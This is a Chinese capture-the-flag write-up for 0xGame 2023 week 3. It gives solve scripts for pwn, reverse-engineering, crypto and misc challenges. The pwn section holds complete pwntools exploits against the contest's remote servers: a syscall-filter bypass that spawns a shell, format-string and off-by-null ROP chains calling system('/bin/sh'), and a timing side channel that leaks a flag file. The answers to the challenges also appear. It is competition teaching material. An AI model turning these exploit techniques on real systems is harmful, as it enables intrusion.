[0xGame 2023 公开赛道] week3
9点停止提交，抓紧时间写出来，明天还有别的题。
PWN
edit-shellcode-runtime
![[0xGame 2023 公开赛道] week3_第1张图片](http://img.e-com-net.com/image/info8/e58bbf765ee24db38f4833b40bfb1aac.jpg)
可以输入shellcode然后执行，但是禁用了\x0f\x05(syscall，箭头处)，这里需要用前边的程序把这个syscall弄出来。我这里最后一个字符输入\x0f再在后边异或出个\x05就行了。
from pwn import *
#p = process('./pwns')
p = remote('8.130.35.16', 53003)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x20230000\nc")
p.sendlineafter(b"Input your code length:\n", b'32')
#在0x21处异或得到5,与前部组成0f05(syscall)实在read(0,+20,rdx利用残留)
pay = '''
mov rsi, 0x20230020
push 0x5
pop rax
xor [rsi],rax
xor rdi,rdi
xor rax,rax
'''
shellcode = asm(pay).ljust(0x1f, b'\x90') + b'\x0f'
p.sendafter(b"Now show me your code:\n", shellcode)
p.sendlineafter(b"Where?\n", b'4db030')
p.sendafter(b"What?\n", p64(0x20230000))
p.send(b'\x05'+ asm(shellcraft.sh()))
p.interactive()
fmt3
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Fh] [rbp-111h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]
v6 = __readfsqword(0x28u);
bufinit();
puts("Now things become a little interesting.");
puts("But not that interesting......");
puts("GO! GO! GO!");
do
{
do
{
printf("Input your content: ");
read(0, buf, 0x100uLL);
printf(buf);
puts("Want more?");
v4 = getchar();
}
while ( v4 == 'y' );
}
while ( v4 == 89 );
return 0;
}跟前两周比，这里开了PIE，不过用处不大，在取得libc和栈地址后，可以在返回地址写上ROP
from pwn import *
#p = process('./fmt3')
p = remote('8.130.35.16', 52002)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x555555555309\nc")
libc = ELF('./libc.so.6')
p.sendafter(b"Input your content: ", b'%40$p,%43$p,%41$p,')
stack = int(p.recvuntil(',', drop=True), 16) - 0xe8
libc.address = int(p.recvuntil(',', drop=True), 16) - 243 - libc.sym['__libc_start_main']
print(f"{stack = :x} {libc.address = :x}")
p.sendafter(b"Want more?", b'y')
pop_rdi = next(libc.search(asm('pop rdi;ret')))
pop_rsi = next(libc.search(asm('pop rsi;ret')))
pay = flat(pop_rdi, next(libc.search(b'/bin/sh\x00')))
pay = fmtstr_payload(8, {stack: pay})
p.sendafter(b"Input your content: ", pay)
p.sendafter(b"Want more?", b'y')
pay = flat(pop_rsi,0, )
pay = fmtstr_payload(8, {stack+0x10: pay})
p.sendafter(b"Input your content: ", pay)
p.sendafter(b"Want more?", b'y')
pay = flat(pop_rdi+1,libc.sym['system'])
pay = fmtstr_payload(8, {stack+0x20: pay})
p.sendafter(b"Input your content: ", pay)
p.sendafter(b"Want more?", b'n')
p.interactive()
FOP_shellcode-any-revenge
![[0xGame 2023 公开赛道] week3_第2张图片](http://img.e-com-net.com/image/info8/15fc7175e22b48d09ecbf1a2fd9b9b55.jpg)
这个题没get到真正的解题点，也许是非预期，反正作的相当麻烦。
第1个圈是在运行shellcode时先跳个rand()%256 由于只能写入256字节，所以为了防止命中，需要shellcode尽量短
第2个圈个沙箱也就是不能得到shell
第3个圈是关掉了标准输出。拿不到shell也拿不到输出我猜就只能侧信道攻击，所以这个题作得相当麻烦。
第4点没圈出来，就是文件名不是flag也就是需要爆破文件名
思路：
1是先爆破文件名，这里需要打开目录，然后读（程序与后边相同）目录名问了别有用getdents，这里由于命令过行，只写入一个read并充分利用残留，让shell尽量小，然后再读入后续程序。虽然程序已经尽量小，但也会中断。所以要爆破好久。
2把数据读到指定区域后逐个字符试，如果相同就进入死循环，不同就exit，这样就可以通过是否中断判断是否猜中。
from pwn import *
context(arch='amd64', log_level='error')
def read_v(offset, v):
p = remote('8.130.35.16', 53001)
#p = process('./ret2shellcode-revenge')
#gdb.attach(p, "b*0x555555555540\nc")
#读目录爆破文件名
#pay2 = shellcraft.open('.')+shellcraft.getdents('rax',target,0x400)
#读文件
pay2 = shellcraft.open('flag-5cd1e4c895')+shellcraft.read('rax',target,0x40)
pay2 += f'lab: mov rax, 0x{offset:x};mov cl,byte ptr [rax]; cmp cl, {v}; je lab;' + shellcraft.exit(0)
s2 = b'\x90'*0x100+asm(pay2)
#pay = shellcraft.read(0,0x20230100,len(s2))
pay = "xor edi,edi;push rdx;pop rsi;syscall;" #减小长度,减小被rand命中
p.sendafter(b"Now show me your code:\n", asm(pay).rjust(256, b'\x90')+s2)
p.recvline()
try:
p.recv(timeout=0.3)
p.close()
#p.interactive()
return True
except:
p.close()
return False
target = 0x20230200 #写目录和文件
#爆破各目录项的长度
#目录项结构: struct linux_dirent {unsigned long d_ino;off_t d_off;unsigned short d_reclen;char d_name[];}; 8 8 2 s
#dir 0x20+0x18+0x20+0x20+0x18+0x18+0x30+0x20+0x18+0x20+0x28+0x20
dlist = [0x20,0x18,0x20,0x20,0x18,0x18,0x30,0x20,0x18,0x20,0x28,0x20]
#.bashrc . .bx .px .. bin ret2re.. lib lib
while 1:
for i in range(0, 0x40, 8):
if read_v(target+0x10+sum(dlist), i):
print(hex(i),'!')
dlist.append(i)
print(' '.join([hex(_)[2:] for _ in dlist]))
break
else:
print(i,'x', )
if dlist[-1] == 0:
break
print(dlist)
name = 'flag-5cd1e4c895'
'''
#爆破目录文件名,确定flag文件名
dic = b'.\x000123456789abcdef-ghijklmnopqrstuvwxyz'
for i in range(5):
for i in dic:
if read_v(target+sum(dlist[:10]) + 0x10+2 + len(name), i):
name += chr(i)
print('name:',name)
break
else:
print(chr(i), end=' ')
'''
dic = b'0123456789_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-'
name = '0xGame{N0_0n3_c4n_sTop_my_C0de_8v2yuwe7}'
for i in range(50):
for i in dic:
if read_v(target+len(name), i):
name += chr(i)
print('name:',name)
break
else:
print(chr(i), end=' ')
linux-fd
这题一开始想很简单，然后没弄成，最后看来还是很简单，只是有个小坑。
![[0xGame 2023 公开赛道] week3_第3张图片](http://img.e-com-net.com/image/info8/46bd55255170484abeb2c5ed143bb146.jpg)
先关闭标准输出，再打开flag，这时候会从最小文件描述符开始用，也就是1，然后写的时候由于输出已经关闭了，可以向0或2输出。
不过这里有个小坑，输入文件名的时候，如果手工输入会有个回车，而filename[xx]=0并不能把这个回车删掉。所以手工一直没整成。改程序就OK了。
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('8.130.35.16', 53000)
#p = process('./fd')
#gdb.attach(p, "b*0x40138b\nc")
p.sendafter(b"Input filename to open: ", b'./flag') #filename[read(0,filename,0)]=0 并不能删掉未必的回车,手工输入不行
p.sendlineafter(b"Input file id to read from: ", b'1') #close(1)后,打开文件会使用最小fd 1
p.sendlineafter(b"Input file id to write to: ", b'2') #输出重定向到0或2均可
print(p.recv(0x1ff))
p.interactive()
poison-stack-base
这个漏洞写得过于直白
int vuln()
{
char v1[256]; // [rsp+0h] [rbp-100h] BYREF
puts("Try perform ROP!");
custom_gets_off_by_one_or_null((__int64)v1, 256);
return puts("Good luck!");
}custom_gets_off_by_one_or_null就是个1字节溢出，可以覆盖rbp的尾字节，这样会移栈到前边，虽然位置不定，但只要ROP足够短，成功率不敢说100%也够高的。
from pwn import *
#p = process('./poison-rbp')
p = remote('8.130.35.16', 52004)
context(arch='amd64', log_level='debug')
#gdb.attach(p, "b*0x401290\nc")
elf = ELF('./poison-rbp')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000401393 # pop rdi ; ret
pop_rsi = 0x0000000000401391 # pop rsi ; pop r15 ; ret
#利用写满256后 off_by_null的0修改 rbp尾字节为0移栈执行前部的ROP
#vuln 去掉push rbp, 使用原栈再次读ROP执行
pay = p64(pop_rdi+1)*28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x401259)
p.sendafter(b"Try perform ROP!\n", pay)
p.recvline()
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
pay = p64(pop_rdi+1)*25 + flat(pop_rdi, next(libc.search(b'/bin/sh')), pop_rsi,0,0, libc.sym['system'])
p.sendafter(b"Try perform ROP!\n", pay)
p.interactive()
REV
java专场
代码启示录
反编译后不解释
package defpackage;
import java.util.Scanner;
/* renamed from: Main reason: default package */
/* loaded from: 代码启示录.jar:Main.class */
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.print("请输入你的答案：");
String userInput = scanner.nextLine();
if (userInput.equals("0xGame{038e8685-0a59-a868-ed44-979261e99faf}")) {
System.out.println("恭喜你，打开了神秘的门！");
} else {
System.out.println("很遗憾，你的答案不正确！");
}
scanner.close();
}
}数字幽灵
![[0xGame 2023 公开赛道] week3_第4张图片](http://img.e-com-net.com/image/info8/f810abfa537b4e20a1f289772ce8a5a2.jpg)
一个base58变表，但是这个storedFlag找不到，一般在R/layout下，但找遍了没有，然后解包后发现一个resources.arsc文件，直接打开（java不加密）看到密文
zip解包后010打开 resources.arsc
找到base58串,变表:ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz
RmC442S4tDMzc3CvzoCx8toKodL8SE8GRQSmz8M84k6g9jG1vVrf3c5TECZR
0xGame{5f7dc2d9-5243-f706-cdbf-12e34dd3970c}
虚构核心
打开就发现什么叫虚构核心了，先要打开一个dex文件，然后异或解密后保存，再打开运行进行。
![[0xGame 2023 公开赛道] week3_第5张图片](http://img.e-com-net.com/image/info8/41a82d1d8b5b431fb6a6a405083e0325.jpg)
处理文件 后打开，可以看到3个md5串，这个都只有4字节可以爆破也可以从网上查。
from pwn import xor
'''
key = b"The0xGameKey"
c = open('encrypted.dex','rb').read()
open('decrypted.dex','wb').write(xor(c, key))
'''
#44,-,5
#0xGame{f5bf50a3-9988-61ee-8c00-f3eddaccb39f}
md5k = ["69b4fa3be19bdf400df34e41b93636a4", "76b662c5c3d6d98035190115d89ef42f", "87fff610a9c97ebbe5a16a6d4865c0e4"]
'''
public class FlagChecker {
public static boolean checkFlag(String input) {
if (input.length() == 44 && input.startsWith("0xGame{") && input.endsWith("}")) {
String content = input.substring(7, input.length() - 1);
String[] parts = content.split("-");
if (parts.length != 5 || !"f5bf50a3".equals(parts[0]) || !"f3eddaccb39f".equals(parts[4])) {
return false;
}
String[] md5Strings = {"69b4fa3be19bdf400df34e41b93636a4", "76b662c5c3d6d98035190115d89ef42f", "87fff610a9c97ebbe5a16a6d4865c0e4"};
for (int i = 1; i <= 3; i++) {
if (parts[i].length() == 4 && !md5Strings[i - 1].equals(md5(parts[i]))) {
return false;
}
}
return true;
}
return false;
}
public static String md5(String input) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] messageDigest = md.digest(input.getBytes());
StringBuilder sb = new StringBuilder();
for (byte b : messageDigest) {
sb.append(String.format("%02x", Integer.valueOf(b & 255)));
}
return sb.toString();
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException("MD5加密出现错误");
}
}
}
'''
变量迷城
这里用了一个变量x 和"0xGame"连一起作为key加密
public class Main {
private static BiPredicate equationCheck = x, y -> {
BigInteger eq1 = x.pow(2).add(y.pow(2).multiply(BigInteger.valueOf(2L))).add(x.multiply(BigInteger.valueOf(3L))).add(y.multiply(BigInteger.valueOf(4L))).subtract(new BigInteger("7384462351178"));
BigInteger eq2 = x.pow(2).multiply(BigInteger.valueOf(5L)).add(y.pow(2).multiply(BigInteger.valueOf(6L))).add(x.multiply(BigInteger.valueOf(7L))).add(y.multiply(BigInteger.valueOf(8L))).subtract(new BigInteger("22179606057658"));
return eq1.equals(BigInteger.ZERO) && eq2.equals(BigInteger.ZERO);
};
private static Byte[] encryptedFlag = {(byte) 1, (byte) 73, (byte) 115, (byte) 84, (byte) 92, (byte) 81, (byte) 75, (byte) 65, (byte) 116, (byte) 84, (byte) 90, (byte) 93, (byte) 7, (byte) 2, (byte) 87, (byte) 24, (byte) 83, (byte) 87, (byte) 84, (byte) 64, (byte) 106, (byte) 4, (byte) 9, (byte) 86, (byte) 84, (byte) 28, (byte) 4, (byte) 5, (byte) 9, (byte) 82, (byte) 29, (byte) 74, (byte) 119, (byte) 85, (byte) 93, (byte) 1, (byte) 3, (byte) 84, (byte) 0, (byte) 0, (byte) 1, (byte) 0, (byte) 3, (byte) 5};
public static void main(String[] args) throws IOException {
String envVar1 = System.getenv("x");
String envVar2 = System.getenv("y");
String brand = System.getProperty("brand");
if (brand == null || envVar1 == null || envVar2 == null) {
brand = "0";
envVar2 = "0";
envVar1 = "0";
}
BigInteger x = new BigInteger(envVar1);
BigInteger y = new BigInteger(envVar2);
if (equationCheck.test(x, y) && brand.equals("0xGame")) {
String decryptedFlag = decryptFlag(encryptedFlag, x, brand);
System.out.println("恭喜你找到了通往真相的路！");
System.out.println("秘密：" + decryptedFlag);
return;
}
System.out.println("你似乎迷路了~");
}
private static String decryptFlag(Byte[] encryptedFlag2, BigInteger javaClassVersion, String systemVar) {
String key = javaClassVersion + systemVar;
StringBuilder flag = new StringBuilder();
for (int i = 0; i < encryptedFlag2.length; i++) {
flag.append((char) (encryptedFlag2[i].byteValue() ^ key.charAt(i % key.length())));
}
return flag.toString();
}
} 这个x 回到z3了，解出来放上就行了
encryptedFlag = [1, 73, 115, 84, 92, 81, 75, 65, 116, 84, 90, 93, 7, 2, 87, 24, 83, 87, 84, 64, 106, 4, 9, 86, 84, 28, 4, 5, 9, 82, 29, 74, 119, 85, 93, 1, 3, 84, 0, 0, 1, 0, 3, 5]
from z3 import *
s = Solver()
x,y = Ints("x y")
s.add(x*x + 2*y*y + 3*x + y*4 == 7384462351178)
s.add(x*x*5 + y*y*6 +x*7 + y*8 == 22179606057658)
s.check()
s.model()
x = 114514
y = 1919810
key = '1145140xGame'
xor(bytes(encryptedFlag), key.encode())
b'0xGame{9357863c-bcd8-ed3e-008f-2040d2e45043}'CRYPTO
EzECC
这题给了一个自制的椭圆曲线，一个很小的r可以爆破。然后是C = M + r*K求M
from Crypto.Util.number import *
from secret import msg
import random
flag = b'0xGame{' + msg + b'}'
q = getPrime(80)
a,b= [random.randrange(1,q-1) for i in range(2)]
def add(P,Q):
if P[0] != Q[0] and P[1] != Q[1]:
t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %q
else:
t = ((3*P[0]*P[0]+a) * inverse(2*P[1],q))%q #y^2 = x^3 + a*x + b
x3 = t*t - P[0] - Q[0]
y3 = t*(P[0] - x3) - P[1]
return (x3%q, y3%q)
def mul(t, A, B=0):
if not t: return B
return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)
assert len(msg)%2==0
m1=bytes_to_long(msg[:len(msg)//2])
m2=bytes_to_long(msg[len(msg)//2:])
k = random.getrandbits(64)
G = (641322496020493855620384 , 437819621961768591577606)
K = mul(k,G)
M = (m1,m2)
r = random.getrandbits(16)
C_1 = add(M,mul(r,K))
C_2 = mul(r,G)
print(f'q={q}\na={a}\nb={b}\n')
print(f'G = {G}\nK = {K}\nC_1={C_1}\nC_2={C_2}')
试了好久才发现这人M不能用add里的公式从用C和rK推出来，因为这是阿贝尔群（hint）。于是查了下阿贝尔群上的减法。
q=1139075593950729137191297
a=930515656721155210883162
b=631258792856205568553568
G = (641322496020493855620384, 437819621961768591577606)
K = (781988559490437792081406, 76709224526706154630278)
C_1=(55568609433135042994738, 626496338010773913984218)
C_2=(508425841918584868754821, 816040882076938893064041)
#爆破出r
for r in range(1<<16):
if mul(r,G) == C_2:
print(r)
break
r = 10077
rK = mul(r,K)
rK = (550786064209051189742959, 152240627779498678778874)
#M = C1 + -rK
FrK = (550786064209051189742959, -152240627779498678778874%q)
M = add(C_1,FrK)
m1,m2 = M
from Crypto.Util.number import long_to_bytes as l2b
l2b(int(m1))+l2b(int(m2)) #???????
#Al1ce_L0ve_B0b
LLL-FirstBlood
先出的2血那道，1血很久才出
from random import randrange
from Crypto.Util.number import getPrime,bytes_to_long
from secret import flag
assert len(flag) % 4 == 0
length = len(flag)//4
m = [bytes_to_long(flag[i*length:(i+1)*length]) for i in range(4)]
p = getPrime(int(128))
def MakeMask(n,p):
upper = identity_matrix(n)
low = identity_matrix(n)
for i in range(n-1):
for j in range(i+1, n):
upper[i, j] = randrange(1, p)
low[j, i] = randrange(1, p)
result = upper * low
assert det(result) == 1
return result
def Matrix2List(x):return [list(i) for i in x]
noise = [[randrange(1, p) for i in range(4)] for _ in range(4)]
noise[0] = m
M = matrix(noise)
A = MakeMask(4,p)
C = A*M
print(f'p={p}')
print(f'C={Matrix2List(C)}')
'''
p=198880159035681668071031460916089145469
C=[[1528140902799730745476264672501768332416990282355490479242339131918301176698899635154781328839496210200676497333428, 2081687444435007467807250373278513114045272585243815458840083487459795021302180077490134099644993120009567147202772, 3080873409460299046339495750746632185307246572817534784703936044874106809413620470006445984962733721029566440253675, 3491734341995174183626991907292607070252197520631412767989879432598743851171175369180080355977574296558734415823458], [2359409535809048127331244699867147546817134802610067329431135227991488324148374065940238308147500809599395748756798, 3191196199160821446351036460385791985682645040446022512790815348810555748825420237291839170774872264097466183208742, 4665346530155386457242345394284286198347336281451530670818113876767736288089400119492317775648206643242839430899283, 5369350746042850276067380638571565496087948799720968959426256192923852197959381101839484196445995828389461004495917], [1641407111066265429602929560264443103285908072677065498760570514577412905392260182334706635555256537745902283191251, 2190536173399177167068153351271988931232272884028569669242062395087922275021628334797729266560930040116807133977244, 3127556759140845426132305699421707182108351516931881411928719802847628408656887897596425133523782526561471050447359, 3707239956529200159380870618471703921011276020439315706352183576289925263316580408968092016782483770373121972835410], [9883814543195849013523934427451407019514807606993414569626142656857168165339, 13190422499129347541373922929251088892868361241120937213742340947017395215646, 18832738552342488056498211782604832513006649329982003661701684946590064734701, 22323329751908690611034666068697427811613727429398087082295754189068333861152]]
'''A是一个由上三角随机和下三解随机乘的矩阵，对角线为1，只给了个C，这人C其实和M在同一个格上，所以就有直接取格就OK
C = matrix(C)
L = C.LLL()
b''.join([l2b(-i) for i in row])
#b'0xGame{8e4d5924dc4cd78f11c1eeb99e991ab3}'
LLL-SecondBlood
这是个HNP问题
from secret import flag
m = bytes_to_long(flag)
q = getPrime(512)
assert m.bit_length() == 318
def encrypt(m):
mask,noise = getPrime(511),getPrime(50)
mask_.append(mask)
noise_.append(noise)
c = (mask*m + noise)%q
return c
noise_,mask_ =[[] for _ in range(2)]
c_ = [encrypt(m) for i in range(4)]
print(f'q = {q}\nmask = {mask_}\nc_ = {c_}')用格的那个程序
p = 9342426601783650861020119568565656404715236059903009041977149778244153930435908024696666887269890479558473622355346816236972767736577737332173213722012253
T = [6237128445236992920577225644858662677575951126467888858782461334057970069468925833844231116647406833999142659751374620280213290736114576089069396331226747, 6368031389213953889417545256750169233725975229197446803885029159767701479445576860704561593200907482372690851152126782391126462547524526631934408981070841, 5106473460982791188578285397420642137630347289252852045044021197988607082777231839839730169682158507822078412449827976663385282021916120837408192506341443, 6318090842950331228033349517542810123596316850353637421587264886413877142612686177796023049304908696413386218992511112752788640732410845589679820003047667]
A = [3823539664720029027586933152478492780438595004453489251844133830947165342839393878831914879334660250621422877333022321117120398528430519794109624186204492, 1721659645750224819953244995460589691120672649732560768435214608167861246790136217219349234604724148039910656573436663379375048145045443527267790379816425, 668633520079344839648950502380059311916108468801009386138810324259146523323704014491547148973835774917331333581475920804677395949854411894556705238578896, 497860586379981076499130281851986010889356253371192266267220334713415782402939318483926418213877341511996918189750595755372560345085899109305344338944066]
B = 2^50
sol = hnp(p, T, A, B, verbose=True)
#0xGame{19255b5c7b19c790e28d87c8a8bb1d33}EzMatrix
矩阵DLP问题
from Crypto.Util.number import getPrime
from random import randint
from secert import secert,flag
from hashlib import md5
def n2b(n):return md5(str(n).encode()).hexdigest()
assert secert < pow(2,64)
assert flag == '0xGame{'+n2b(secert)+'}'
def Martix2list(Martix):
result = []
Martix = list(Martix)
for i in Martix:
result.append(list(i))
return result
enc = A**secert
def Martix2list(Martix):
result = []
Martix = list(Martix)
for i in Martix:
result.append(list(i))
return result
with open('enc.txt','w') as f:
f.write(str(Martix2list(enc)))
这个真不会了，拿了师傅的WP终于明白方法跟数字和椭圆曲线还是有点区别的，因为不能直接用discrete_log要自己写个大步小步法求
#C = A^secret
n = 12
G=[[12143520799533590286, 1517884368, 12143520745929978443, 796545089340, 12143514553710344843, 28963398496032, 12143436449354407235, 158437186324560, 12143329129091084963, 144214939188320, 12143459416553205779, 11289521392968],[12143520799533124067, 1552775781, 12143520745442171123, 796372987410, 12143514596803995443, 28617862048776, 12143437786643111987, 155426784993480, 12143333265382547123, 140792203111560, 12143460985399172467, 10983300063372],[12143520799533026603, 1545759072, 12143520746151921286, 781222462020, 12143514741528175043, 27856210942560, 12143440210529480891, 150563969013744, 12143339455702534403, 135941365971840, 12143463119774571623, 10579745342712],[4857408319806885466, 2428704161425648657, 12143520747462241175, 758851601758, 12143514933292307603, 7286139389566980165, 9714738936567334300, 144947557513044, 12143346444338047691, 130561054163540, 4857352974113333366, 2428714303424782417],[12143520799533339320, 1476842796, 12143520749060275613, 733281428880, 12143515144091549812, 25896324662208, 12143446129977471347, 139126289668080, 12143353609086952433, 125093278125816, 12143467808884068695, 9705993135696],[3469577371288079926, 5204366058378782250, 12143520750775862343, 706665985740, 12143515359139397843, 24876891455539, 12143449149385190675, 5204499435641729607, 1734628523990131469, 119757210113970, 12143470097256549947, 9282407958928],[10986995009101166671, 1734788687033207505, 12143520752514668698, 680173911560, 12143515570582515443, 23883386182656, 12143452072344092516, 10408859957710764174, 8673790006740000925, 4047954924507284041, 12143472277719610437, 8879790035168],[12143520799534210329, 8095680534365818753, 12143520754224346525, 6071761054204856029, 12143515774342357443, 22931775530664, 12143454859049102627, 122586336122081, 12143373761302849103, 109840689548590, 8095634066844843878, 8500892291801],[2428704159899526175, 7286112481016467893, 12143520755876491019, 629765964828, 12143515968446948123, 9714838668887734012, 4857345013259425502, 117630592711632, 12143379764863568374, 105318302849760, 2428659620509049335, 7286120625945355053],[7286112479717322389, 7286112480971640825, 12143520757456628435, 606320684970, 12143516152115449139, 4857429497934652454, 4857347490735050126, 112978994964264, 12143385390297217523, 101086824360217, 7286069740980100293, 7286120294834973633],[7727695054246476847, 1202487728, 12143520758958480293, 584144077140, 12143516325240923843, 20377952745696, 12143462294760579275, 108622249048560, 12143390651947217363, 97133513961120, 12143479741445599772, 8831658996900830432],[12143520799535388887, 1161628182, 12143520760380594623, 563225247585, 12143516488091679443, 19626876325056, 12143464472820678035, 104545135017180, 12143395570399006523, 93441517429260, 12143481309754543787, 7218375794633]]# 12*12
p = 12143520799543738643
A = Matrix(GF(p),A)
enc = [[11285847990515095003, 7585413350741918021, 11658254512436412666, 477577914899276103, 2941386515764607825, 11283325421744133699, 4096971712575507616, 8118672870538606033, 2377937081025778041, 6576171711896495163, 6152554374963853172, 5022013484610428974], [8354008012616001452, 7787447107046065118, 9504997911333967278, 1082773427768571094, 6015520658629219637, 11244285744740006951, 4493944053220750368, 3504246247470690014, 1738582001618280397, 2330057776906622572, 3043456814665571080, 2981613454022714952], [2508674373714509177, 3544963739532775937, 7952732753025175616, 11161786730565526285, 3397123486689639675, 6454135592624912854, 6613201018024296927, 9748485344986779929, 1819761609989340766, 1259944825407465767, 1596049024644778041, 7769939905324967788], [4200851163596876950, 11960539098651202761, 3303721151143544462, 2532304102428121556, 11083895221097319129, 1171933471304558017, 1549099593543874478, 6088238862927163233, 6459553630361959801, 947358195425767572, 2090533922210134578, 9023030120605201052], [2271102089902208138, 1614812525306266829, 1546249462332047661, 3168333397191737100, 7678980468150522028, 3128939172985153696, 1146041044751755224, 11870173227065140617, 8351303466095252790, 694704483676649448, 7944218023016968278, 583421745603756386], [10309472503110333289, 1100598261990718822, 10235859400888405310, 910925705831020921, 10771855884237562064, 9970830255165655653, 11678899608458971536, 4368822164222204233, 3104861419162339779, 4540709628196554222, 7851809145727500968, 12086896840826708824], [10973051751637593366, 5039073157846327641, 4855314857834773443, 4416954195828423951, 8243966437000815560, 8250554263390748131, 8093181066366682440, 1145520354143718292, 294729013023637045, 10115389386419597159, 2767140395261835843, 6724257139233017485], [6878768250003631244, 10834164422364241529, 6946589221005878489, 539734218479521833, 2691724062063066048, 3989403041446358401, 815244541494093987, 11168528286389981272, 2021358468726921955, 1123433019094267521, 524639025046508882, 5720273332497702547], [6688451244183880831, 10892730373179989558, 6987453292894341174, 5572212176769878684, 11332149024403380575, 3944612864568504791, 6768594304071589280, 10526434024562201079, 10241323610053039912, 1120473558410865753, 306153635148226248, 3606666063074222104], [7556871914690327290, 11353594909211427742, 747771112781361153, 1245068803956910299, 2831489557155431404, 1800035620948876551, 1050411779595241927, 5665981688041778089, 2028968510484240787, 4386552235402890530, 10334391443650474796, 3883841302951550608], [4485787817401669404, 184501191500952934, 3690661645276970957, 6263309802498749034, 6484490370652685031, 9743108369653588026, 3045941510087387269, 5870433915209047275, 4679598273992216016, 11839352681285251516, 4957980185504231911, 7925596893607015470], [1000449712878466719, 7022601702937838844, 1095849907482791166, 11989051568709522226, 6768031250066783733, 185945517026191241, 4280928696740160411, 5633542561098902406, 10176177574499086410, 5782837249861240943, 7406530879613861823, 1971858224839520916]]
enc = matrix(GF(p), enc)
#
def bsgs(P, Q, sub):
dic = dict()
m = sqrt(sub).round()
nowP = P**0
for i in range(m + 1):
dic[str(nowP)] = i
nowP *= P
mQ = P**(-m)
nowQ = Q
for i in range(m + 1):
if str(nowQ) in dic:
ans = i*m + dic[str(nowQ)]
print(ans, P**ans == Q)
return ans
nowQ *= mQ
order = A.multiplicative_order()
#order = 12143520799543738642
#factor(order)
fac = [2, 23, 229, 593, 1944001580291]
cs = []
for f in fac:
print(f)
cs.append(bsgs(A^(order//f), enc^(order//f), f))
secret = crt(cs, fac)
print(secret)
'''
2
1 True
23
18 True
229
57 True
593
419 True
1944001580291
1720136691537 True
[1, 18, 57, 419, 1720136691537]
'''
def n2b(n):return md5(str(n).encode()).hexdigest()
print('0xGame{'+n2b(secret)+'}')
#'0xGame{06450201eb6171d40151563d967e59ea}'
EzOverflow
这题不说了，虽然检查不能和0xGame相同但是用的bytes_to_long所以可以前边输入\x00绕过。
MISC
不怎么作MISC，两个编程小题记录一下
高数大师
要求写式子和导数双向。只涉及sin,con 和幂
'''
┌──(kali㉿kali)-[~/ctf/1016]
└─$ nc 124.220.8.243 11451
I will give you some equations, try to find their derivatives or integrals!
(d) for derivative, (i) for integral
Answering one question correctly can earn 1 point, and 300 points can earn a flag!
One wrong answer will end the game directly
Example:
5*x**4 + 5*sin(x) - 4*cos(x) - x**2 (d) --> 20*x**3 - 2*x + 4*sin(x) + 5*cos(x)
2*cos(x) - 3*x - x**2 - x**4 - 3*sin(x) (i) --> -x**5/5 - x**3/3 - 3*x**2/2 + 2*sin(x) + 3*cos(x)
press enter to start
> 5*x**2 - 3*x**4 (d)
your answer > 10*x - 12*x**3
correct!
> x (i)
your answer > 1/2*x**2
correct!
> 2*x - 4*sin(x) - 3*x**3 + 2*x**4 (d)
your answer >
'''
def get_dx(fh, v): #乘法的求导
if 'x' == v[0]: #前边有乘数
a = 1
else:
a = int(v.split('*x')[0])
if '**' in v:
b = int(v.split('**')[1])
else:
b = 1
k = a*b
e = b-1
if e == 1:
exp = ''
else:
exp = '**'+str(e)
if k == 1:
ret = fh + ' ' + 'x' + exp
else:
ret = fh + ' ' + str(k)+'*x' + exp
return ret
def get_ix(fh, v): #乘法的求导 逆
if 'x' == v[0]: #前边有乘数
a = 1
else:
a = int(v.split('*x')[0])
if '**' in v:
b = int(v.split('**')[1])
else:
b = 1
k = a
e = b+1
if e == 1:
exp = ''
else:
exp = '**'+str(e)
if k == 1:
ret = fh + ' ' + 'x' + exp + '/' + str(e)
else:
ret = fh + ' ' + str(k)+'*x' + exp + '/' + str(e)
return ret
def get_ds(fh, v):
ffh = {'+':'-','-':'+'}
if 'sin(x)' in v:
ret = fh +' '+ v.replace('sin(x)','cos(x)')
else:
ret = ffh[fh] +' '+ v.replace('cos(x)','sin(x)')
return ret
def get_is(fh, v):
ffh = {'+':'-','-':'+'}
if 'cos(x)' in v:
ret = fh +' '+ v.replace('cos(x)','sin(x)')
else:
ret = ffh[fh] +' '+ v.replace('sin(x)','cos(x)')
return ret
def get_d(v):
#符号
aaa = []
tmp = ''
ret = ''
for i in v:
if i == '+' or i == '-':
tmp = i
continue
if tmp == '': tmp = '+'
if 'sin(' in i or 'cos(' in i:
val = get_ds(tmp,i)
else:
val = get_dx(tmp,i)
tmp = ''
ret += ' '+val
if ret[:3] == ' + ': ret = ret[3:]
return ret
def get_i(v):
#符号
aaa = []
tmp = ''
ret = ''
for i in v:
if i == '+' or i == '-':
tmp = i
continue
if tmp == '': tmp = '+'
if 'sin(' in i or 'cos(' in i:
val = get_is(tmp,i)
else:
val = get_ix(tmp,i)
tmp = ''
ret += ' '+val
if ret[:3] == ' + ': ret = ret[3:]
return ret
def getmsg(msg):
v = msg.decode().split(' ')
if v[-1] == '(d)':
r = get_d(v[:-1])
else:
r = get_i(v[:-1])
return r
'''
t = b'5*x**4 + 5*sin(x) - 4*cos(x) - x**2 (d)'
t = b'2*cos(x) - 3*x - x**2 - x**4 - 3*sin(x) (i)'
print(getmsg(t))
'''
from pwn import *
context.log_level = 'debug'
p = remote('124.220.8.243', 11451)
p.sendlineafter(b'press enter to start', b'')
for _ in range(300):
p.recvuntil(b'> ')
msg = p.recvline().strip()
v = getmsg(msg)
p.sendlineafter(b'>', v)
p.recvline()
p.interactive()
Miversc
OOK是码，但是运行后没有flag，只能写程序解释，一步步dbg
